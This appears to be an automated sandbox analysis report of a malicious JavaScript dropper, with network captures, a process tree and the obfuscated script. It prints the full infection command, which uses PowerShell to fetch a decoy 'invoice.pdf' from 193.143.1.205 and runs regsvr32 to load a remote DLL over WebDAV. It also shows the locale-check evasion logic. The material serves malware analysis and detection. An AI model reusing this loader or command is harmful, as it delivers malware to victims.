Jan 10, 2025 20:07:27.954746008 CET	192.168.2.5	1.1.1.1	0x1128	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 20:07:02.101860046 CET	1.1.1.1	192.168.2.5	0x89de	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:07:15.650599003 CET	1.1.1.1	192.168.2.5	0xfad4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:07:27.962110043 CET	1.1.1.1	192.168.2.5	0x1128	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5032	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:06:46.406635046 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:06:47.208257914 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:06:47 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:06:47.208281040 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:06:47.208293915 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:06:47.208309889 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 20:06:47.208321095 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 20:06:47.208334923 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 10, 2025 20:06:47.208348989 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 20:06:47.208400011 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 20:06:47.208410978 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 20:06:47.208425999 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 20:06:47.213206053 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	4508	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:06:49.165416956 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:06:49.941219091 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:06:49 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:06:42
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js"
Imagebase:	0x7ff673b50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:06:43
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll
Imagebase:	0x7ff694fd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:06:43
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:06:43
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:06:48
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:06:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff694fd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:06:48
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7489f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:06:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:06:49
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:06:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,16955121455312485882,14025573363302125264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gfchpli() {	gfchpli() ➔ undefined
1	cykkx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hfwhtrt = this[dzmmogc + ovgofxh + sganki + ffvakvywd + cmlly + iyqwrik + wijro + iwtaqw] ( this[npsvkftn + tpziimxio + ufoowv + sganki + akknicu + dzmmogc + iwtaqw][jhhli + sganki + cmlly + ovgofxh + iwtaqw + cmlly + jitsacgrs + zicnni + hhdyxnxu + cmlly + ufoowv + iwtaqw] ( npsvkftn + tpziimxio + ufoowv + sganki + akknicu + dzmmogc + iwtaqw + exzqth + tpziimxio + evfeeco + cmlly + hxsozw + hxsozw ) [vvxsyxuik + cmlly + bpwpir + vvxsyxuik + cmlly + ovgofxh + mqqykuvml] ( tnxjf + ecrxrpgg + miwmfl + wpxxg + bqija + jhhli + vmjfztdk + vvxsyxuik + vvxsyxuik + miwmfl + wmajcq + hczvu + bqija + vmjfztdk + tpziimxio + miwmfl + vvxsyxuik + pirvkbce + jhhli + ooksfti + wijro + iwtaqw + sganki + ooksfti + hxsozw + dzqwkfom + ftesadvl + ovgofxh + wijro + cmlly + hxsozw + pirvkbce + iyqwrik + wijro + iwtaqw + cmlly + sganki + wijro + ovgofxh + iwtaqw + akknicu + ooksfti + wijro + ovgofxh + hxsozw + pirvkbce + ufivo + ooksfti + ufoowv + ovgofxh + hxsozw + cmlly ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wphygkh = 0 ; wphygkh < cykkx[hxsozw + cmlly + wijro + bpwpir + iwtaqw + evfeeco] ; ++ wphygkh )
4	{
5	if ( hfwhtrt == cykkx[wphygkh] )
6	{
7	hfwhtrt = true;
8	break ;
9	}
10	}
11	if ( hfwhtrt !== true )
12	this[npsvkftn + tpziimxio + ufoowv + sganki + akknicu + dzmmogc + iwtaqw][aglbvzedi + bycmeutml + akknicu + iwtaqw] ( );
13	this[npsvkftn + tpziimxio + ufoowv + sganki + akknicu + dzmmogc + iwtaqw][jhhli + sganki + cmlly + ovgofxh + iwtaqw + cmlly + jitsacgrs + zicnni + hhdyxnxu + cmlly + ufoowv + iwtaqw] ( npsvkftn + tpziimxio + ufoowv + sganki + akknicu + dzmmogc + iwtaqw + exzqth + tpziimxio + evfeeco + cmlly + hxsozw + hxsozw ) [sganki + bycmeutml + wijro] ( ufoowv + mdocpupkm + mqqykuvml + dzqwkfom + njxzzpt + ufoowv + dzqwkfom + dzmmogc + ooksfti + uhivhui + cmlly + sganki + ffvakvywd + evfeeco + cmlly + hxsozw + hxsozw + exzqth + cmlly + cbcugst + cmlly + dzqwkfom + whicmamg + jhhli + ooksfti + mdocpupkm + mdocpupkm + ovgofxh + wijro + mqqykuvml + dzqwkfom + tjwef + iyqwrik + wijro + dxvwqee + ooksfti + mkgybapy + cmlly + whicmamg + npsvkftn + cmlly + zicnni + vvxsyxuik + cmlly + vxijkugmj + bycmeutml + cmlly + ffvakvywd + iwtaqw + dzqwkfom + whicmamg + jitsacgrs + bycmeutml + iwtaqw + yjhnwkr + akknicu + hxsozw + cmlly + dzqwkfom + nmzro + iwtaqw + cmlly + mdocpupkm + dzmmogc + nmzro + pirvkbce + akknicu + wijro + dxvwqee + ooksfti + akknicu + ufoowv + cmlly + exzqth + dzmmogc + mqqykuvml + phwgvin + dzqwkfom + evfeeco + iwtaqw + iwtaqw + dzmmogc + fjmuzmf + njxzzpt + njxzzpt + txcxehuf + akejtgu + fsoahv + exzqth + txcxehuf + duodzv + fsoahv + exzqth + txcxehuf + exzqth + cdske + oyzfwyav + equpdyo + njxzzpt + akknicu + wijro + dxvwqee + ooksfti + akknicu + ufoowv + cmlly + exzqth + dzmmogc + evfeeco + dzmmogc + tjwef + dtqxdwx + dtqxdwx + ffvakvywd + iwtaqw + ovgofxh + sganki + iwtaqw + dzqwkfom + nmzro + iwtaqw + cmlly + mdocpupkm + dzmmogc + nmzro + pirvkbce + akknicu + wijro + dxvwqee + ooksfti + akknicu + ufoowv + cmlly + exzqth + dzmmogc + mqqykuvml + phwgvin + dtqxdwx + dtqxdwx + ufoowv + mdocpupkm + mqqykuvml + dzqwkfom + njxzzpt + ufoowv + dzqwkfom + wijro + cmlly + iwtaqw + dzqwkfom + bycmeutml + ffvakvywd + cmlly + dzqwkfom + pirvkbce + pirvkbce + txcxehuf + akejtgu + fsoahv + exzqth + txcxehuf + duodzv + fsoahv + exzqth + txcxehuf + exzqth + cdske + oyzfwyav + equpdyo + bgystyoo + wnrthjfhj + wnrthjfhj + wnrthjfhj + wnrthjfhj + pirvkbce + mqqykuvml + ovgofxh + dxvwqee + uhivhui + uhivhui + uhivhui + sganki + ooksfti + ooksfti + iwtaqw + pirvkbce + dtqxdwx + dtqxdwx + ufoowv + mdocpupkm + mqqykuvml + dzqwkfom + njxzzpt + ufoowv + dzqwkfom + sganki + cmlly + bpwpir + ffvakvywd + dxvwqee + sganki + fsoahv + cdske + dzqwkfom + njxzzpt + ffvakvywd + dzqwkfom + pirvkbce + pirvkbce + txcxehuf + akejtgu + fsoahv + exzqth + txcxehuf + duodzv + fsoahv + exzqth + txcxehuf + exzqth + cdske + oyzfwyav + equpdyo + bgystyoo + wnrthjfhj + wnrthjfhj + wnrthjfhj + wnrthjfhj + pirvkbce + mqqykuvml + ovgofxh + dxvwqee + uhivhui + uhivhui + uhivhui + sganki + ooksfti + ooksfti + iwtaqw + pirvkbce + cdske + akejtgu + fsoahv + akejtgu + oyzfwyav + wnrthjfhj + wnrthjfhj + amahqrv + cdske + cdske + akejtgu + txcxehuf + fsoahv + exzqth + mqqykuvml + hxsozw + hxsozw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll",0,false) ➔ 0
14	}
15	uhivhui = "F";
16	uhivhui = "w";
17	uhivhui = "N";
18	uhivhui = "A";
19	uhivhui = "F";
20	uhivhui = "f";
21	uhivhui = "d";
22	uhivhui = "W";
23	uhivhui = "W";
24	uhivhui = "D";
25	uhivhui = "w";
26	uhivhui = "p";
27	uhivhui = "F";
28	uhivhui = "l";
29	uhivhui = "w";
30	jitsacgrs = "E";
31	jitsacgrs = "Z";
32	jitsacgrs = "G";
33	jitsacgrs = "i";
34	jitsacgrs = "x";
35	jitsacgrs = "b";
36	jitsacgrs = "L";
37	jitsacgrs = "i";
38	jitsacgrs = "k";
39	jitsacgrs = "Q";
40	jitsacgrs = "Y";
41	jitsacgrs = "D";
42	jitsacgrs = "p";
43	jitsacgrs = "O";
44	jitsacgrs = "i";
45	jitsacgrs = "o";
46	jitsacgrs = "M";
47	jitsacgrs = "G";
48	jitsacgrs = "L";
49	jitsacgrs = "u";
50	jitsacgrs = "x";
51	jitsacgrs = "e";
52	jitsacgrs = "E";
53	jitsacgrs = "S";
54	jitsacgrs = "N";
55	jitsacgrs = "A";
56	jitsacgrs = "w";
57	jitsacgrs = "S";
58	jitsacgrs = "T";
59	jitsacgrs = "o";
60	jitsacgrs = "P";
61	jitsacgrs = "i";
62	jitsacgrs = "U";
63	jitsacgrs = "K";
64	jitsacgrs = "i";
65	jitsacgrs = "B";
66	jitsacgrs = "r";
67	jitsacgrs = "O";
68	tjwef = "M";
69	tjwef = "A";
70	tjwef = "I";
71	tjwef = "w";
72	tjwef = "u";
73	tjwef = "B";
74	tjwef = "M";
75	tjwef = "m";
76	tjwef = "u";
77	tjwef = "p";
78	tjwef = "T";
79	tjwef = "m";
80	tjwef = "R";
81	tjwef = "d";
82	tjwef = "H";
83	tjwef = "h";
84	tjwef = "t";
85	tjwef = "r";
86	tjwef = "t";
87	tjwef = "d";
88	tjwef = "g";
89	tjwef = "T";
90	tjwef = "K";
91	tjwef = "j";
92	tjwef = "y";
93	tjwef = "E";
94	tjwef = "w";
95	tjwef = "Z";
96	tjwef = "A";
97	tjwef = "U";
98	tjwef = "z";
99	tjwef = "c";
100	tjwef = "H";
101	tjwef = "x";
102	tjwef = "t";
103	tjwef = "Y";
104	tjwef = "X";
105	tjwef = "M";
106	tjwef = "f";
107	tjwef = "u";
108	tjwef = "p";
109	tjwef = "U";
110	tjwef = "\"";
111	nmzro = "n";
112	nmzro = "P";
113	nmzro = "o";
114	nmzro = "S";
115	nmzro = "o";
116	nmzro = "m";
117	nmzro = "t";
118	nmzro = "b";
119	nmzro = "%";
120	bycmeutml = "V";
121	bycmeutml = "b";
122	bycmeutml = "R";
123	bycmeutml = "I";
124	bycmeutml = "z";
125	bycmeutml = "G";
126	bycmeutml = "i";
127	bycmeutml = "I";
128	bycmeutml = "n";
129	bycmeutml = "A";
130	bycmeutml = "d";
131	bycmeutml = "Y";
132	bycmeutml = "u";
133	sganki = "v";
134	sganki = "H";
135	sganki = "d";
136	sganki = "Q";
137	sganki = "H";
138	sganki = "U";
139	sganki = "k";
140	sganki = "X";
141	sganki = "t";
142	sganki = "J";
143	sganki = "c";
144	sganki = "c";
145	sganki = "X";
146	sganki = "M";
147	sganki = "r";
148	equpdyo = "5";
149	duodzv = "B";
150	duodzv = "e";
151	duodzv = "g";
152	duodzv = "4";
153	njxzzpt = "z";
154	njxzzpt = "m";
155	njxzzpt = "B";
156	njxzzpt = "k";
157	njxzzpt = "o";
158	njxzzpt = "Q";
159	njxzzpt = "U";
160	njxzzpt = "N";
161	njxzzpt = "X";
162	njxzzpt = "/";
163	amahqrv = "O";
164	amahqrv = "Z";
165	amahqrv = "k";
166	amahqrv = "f";
167	amahqrv = "W";
168	amahqrv = "q";
169	amahqrv = "x";
170	amahqrv = "V";
171	amahqrv = "I";
172	amahqrv = "M";
173	amahqrv = "A";
174	amahqrv = "r";
175	amahqrv = "Y";
176	amahqrv = "J";
177	amahqrv = "T";
178	amahqrv = "u";
179	amahqrv = "A";
180	amahqrv = "o";
181	amahqrv = "L";
182	amahqrv = "T";
183	amahqrv = "f";
184	amahqrv = "x";
185	amahqrv = "K";
186	amahqrv = "s";
187	amahqrv = "h";
188	amahqrv = "I";
189	amahqrv = "D";
190	amahqrv = "M";
191	amahqrv = "f";
192	amahqrv = "S";
193	amahqrv = "x";
194	amahqrv = "V";
195	amahqrv = "S";
196	amahqrv = "K";
197	amahqrv = "j";
198	amahqrv = "l";
199	amahqrv = "U";
200	amahqrv = "U";
201	amahqrv = "e";
202	amahqrv = "H";
203	amahqrv = "A";
204	amahqrv = "7";
205	wnrthjfhj = "Y";
206	wnrthjfhj = "i";
207	wnrthjfhj = "X";
208	wnrthjfhj = "m";
209	wnrthjfhj = "j";
210	wnrthjfhj = "O";
211	wnrthjfhj = "c";
212	wnrthjfhj = "K";
213	wnrthjfhj = "u";
214	wnrthjfhj = "u";
215	wnrthjfhj = "b";
216	wnrthjfhj = "I";
217	wnrthjfhj = "c";
218	wnrthjfhj = "Q";
219	wnrthjfhj = "z";
220	wnrthjfhj = "K";
221	wnrthjfhj = "G";
222	wnrthjfhj = "A";
223	wnrthjfhj = "U";
224	wnrthjfhj = "z";
225	wnrthjfhj = "H";
226	wnrthjfhj = "c";
227	wnrthjfhj = "O";
228	wnrthjfhj = "g";
229	wnrthjfhj = "I";
230	wnrthjfhj = "n";
231	wnrthjfhj = "h";
232	wnrthjfhj = "R";
233	wnrthjfhj = "G";
234	wnrthjfhj = "q";
235	wnrthjfhj = "l";
236	wnrthjfhj = "r";
237	wnrthjfhj = "Z";
238	wnrthjfhj = "c";
239	wnrthjfhj = "h";
240	wnrthjfhj = "B";
241	wnrthjfhj = "M";
242	wnrthjfhj = "r";
243	wnrthjfhj = "v";
244	wnrthjfhj = "8";
245	hxsozw = "W";
246	hxsozw = "H";
247	hxsozw = "s";
248	hxsozw = "j";
249	hxsozw = "l";
250	exzqth = "v";
251	exzqth = "X";
252	exzqth = "C";
253	exzqth = "K";
254	exzqth = "l";
255	exzqth = "l";
256	exzqth = "z";
257	exzqth = "I";
